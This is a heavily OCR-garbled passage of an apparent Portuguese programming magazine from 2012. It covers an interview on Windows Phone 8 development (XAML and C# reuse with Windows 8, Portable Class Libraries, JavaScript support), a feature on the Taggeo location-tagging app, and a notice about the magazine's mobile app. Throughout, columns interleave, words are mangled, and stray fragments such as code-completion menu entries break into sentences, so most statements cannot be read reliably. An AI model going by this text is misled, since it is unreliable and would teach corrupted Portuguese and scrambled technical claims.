SQL Server Compact) em aplica -»es e?ro Wl%‘(’ygws 8’Js 0 signi h e
partllham uma base comum a n 2
seguran-a, tecnologia de browser
. sistema de ficheiros—secoem]mmailcsl
TS Nest e moment o n«o t emos na df anunC|_ar ; . d d
relativamente a SQL Compact eger Iortn}ean plni]ac'as-» NG onla Tgd @ g
Wi ndows . No entanto, se a App Fé’le 88§éﬁvel Sa l?n Hcl.(i\/lntes po

da' @
® sempre possz2vel utilizar Inddrge DB edR dea % tr%’s REL % %a@fﬂvgg

capaC|dades de har dwar e ma
processadaocroerse, mum%liti pl as resol u
Wi ndows Phone 8 ® um salto gran
n«o pode correr sobr e o] har dwa


http://www.microsoft.com/visualstudio/
http://www.microsoft.com/visualstudio/

0,

infelizmente, n«o ® possz2vel fWHGIONATdate dos dispositivos
actuai s para esta nova Vvers«o. No entant o, irg8 ser |l an-ado
um update para a vers«o 7.8 (¢ rmite aos dispositivos
actuais terem acesso ~ experi? do novo start screen, de
forma a que todos o0os wutilizadc Jossam benef|C|ar dest

nova experi°ncia emblem8tica n« E Pl:tona er S « O

Wi ndows Phone

RP O que, efetivament e, vamos poder aproveitar de uma
aplica-«o0o feita para o Windowst %. nonvandomeP@nma? t e(
Podemos aproveitar o] XAML, c-digo C# / V B . NET

(assemblies), ou nada poder § sﬁ éarthrgdé?e d 0 WI n
TS £ possz2vel reaproveitar muIitS t Dsa SEnibog n Ixf al C a

alguns controlos que s- existem no Wlndo Phone

Windows 8 (por exempl o, 0s Par&rSmas P |vat auf Oor maS
essenciais ° experi®°ncia no Windows one) o XAML ®
bastante reaproveitado, sobretludh aem apu maa«o b)iafgiea
com base em patterns como MVVM e utilizando templates de
databinding. Neeemepensar davae er f e2 dyas

aplica-»es, porque as experi"nlaias [Tim d\Zf%rlentesd ?s du!‘set

pl atafor mas. O c-digo C#/VB.NEé}% aUaKnt eapropveitado
embora existam algumas diferen | &t old ma . ncluzmts e C
no novo Visual Studi o a hip-t Portabl e Cl ass

es e riar
Libraries que permite reaproved asbeerIOeWSneer WlnEOWS S

Phone e Windows 8, existindo t®cnicas especzflcas par a
aument ar 0 reaproveitamento dme:-di|goa Emebreae ® um
Microsoft ir8 disponibilizar conte%»do para facilitar esta tare

de ficheir C (
Qual quer pessoa

pOde desen\éPo(LuaverE)ostura da Microsoft

din©micas como o I ronRuby ou 1| rc¢

par a O Wl ndOWaSost emSIielgrlnigens est8ticas?
gual quer ¢ t o(,. )

Mlcros ft tem introduzido
d|n©m|cas em | inguagens como o C
introduzida no C# na vers«o 4.0)
Il inguagem funcional F#.

RP Vai ser poss2vel desenvo
JavaScript no Windows Phone 8

TS O SDK do Wi ndows Phone i L
projecto que utiliza o excele  Equals l o

n o |l E10 par a permitir 0 des ¢ & GetHashCode
Javascript. N« o ® uma exp & GefType

& OnPropertyChanged
i Selectedltem
& ToString

desenvol vimento como no Wi ndd
adegqguado a alguns cens8rios. |
recursos para explicar detalh
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PROJECTNA EQMO NDLENSI TDAAQDJEE

Este m°s, o projeto escolhido para os clientes gue pretendam
um projeto criado pelo membroTaggeo nas suas aplica-»es.
por Sagito e pelos restantes

. . . . Na nossa experi®°nci a com a apl
Mari ana Teixeira e o R¥ben Rilt . .
destacar uma funcionalidade b 8
O Taggeo ® wuma aplica-«o0 basinicializa-«0 da mesma que ® o0 |
di spon2vel par a smartphones, regisdaautilizando para iss0 a SuU:
dei xar a sua marca em qualquerexistindo por isso perdas deéeeten
restri-»es, guando outro wutilpossua conta nesta rede sociaall
receber«o a mensagem dei xada r® bastante simples e intuitiva,
S . . ... mensagem dar um toque em t.a n
£ poss?2vel definir a visibili: 9 4 tag
. . escrevermos a hossa mensagem de:
ser p%Wblica ou privada sendo ; érda
. . . com o 8§l bum de fotografias o]
o} ami gos do utilizador gue S .
. S possibilidade de se partilhar a
contr8rio do que se verifica . . 2
. . . Rel ati vamente aos amigos, ® talgnl:
n«o existem | imites em termos . ter
. nossos amigos do facebook de uma
tot al |l i berdade na el abora-«o r
gual guer tipo de dados (textoA aplica-«o0o ® gratuita e est® di
j ogos) n«o estando obrigatoridas plataformas i OS, Androi d e
espec2fico ao contr8rio do quedescarrrguemdei xem a vossa marca

gundo 0s autores dest e proSithdge:tp:// www.taggeo.org
i a-«o de novas oportunidac
blicit8rias e de di vul ga- «1
njunto de ferramentas e ser Twithtetrps: //twitter.com/ TaggemSoc
o da tecnologia da @eoltoacnbl
sponibilizar um servi-o0o de

Q

cebbbkp://www. facebook. com/tag¢

oc oo oW
- »w o c <~ o

Bl ohgt:t p: / /taggeosocial . tumbl rs. con

willtmn % 16:13 99 % [ wil.tmn 16:13 99 % (b wil.tmn < 19:31 93 % [t

taggec

)
[ag“. 0 ’} From: Tiago Fernandes
-~ Q Date: 2012-10-29 19:26:39

Leave this message to...

Write something here...

Taggeo is so cool, have you started leaving
your mark everywhere? : )

Would you like to attach a file?

LT _, ,

Tag this place!

o
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J- DI SPONTVEL A APLI C/

A revista PROGRAMAR |8 estg§ (e pesqui sar por arti g-obhavaeti av ®:

com todas as edi - »es e detadesenvolvida por um membro dest a
comuni Ned @onCai o Pobeti gado pel c

A aplica-«o0o tem todas as edi-contributo!). a

desde o0 n¥mero 1 em 2006. C

navegar entre as edi-»es e | elAlgumas i magens da aplica-«oados
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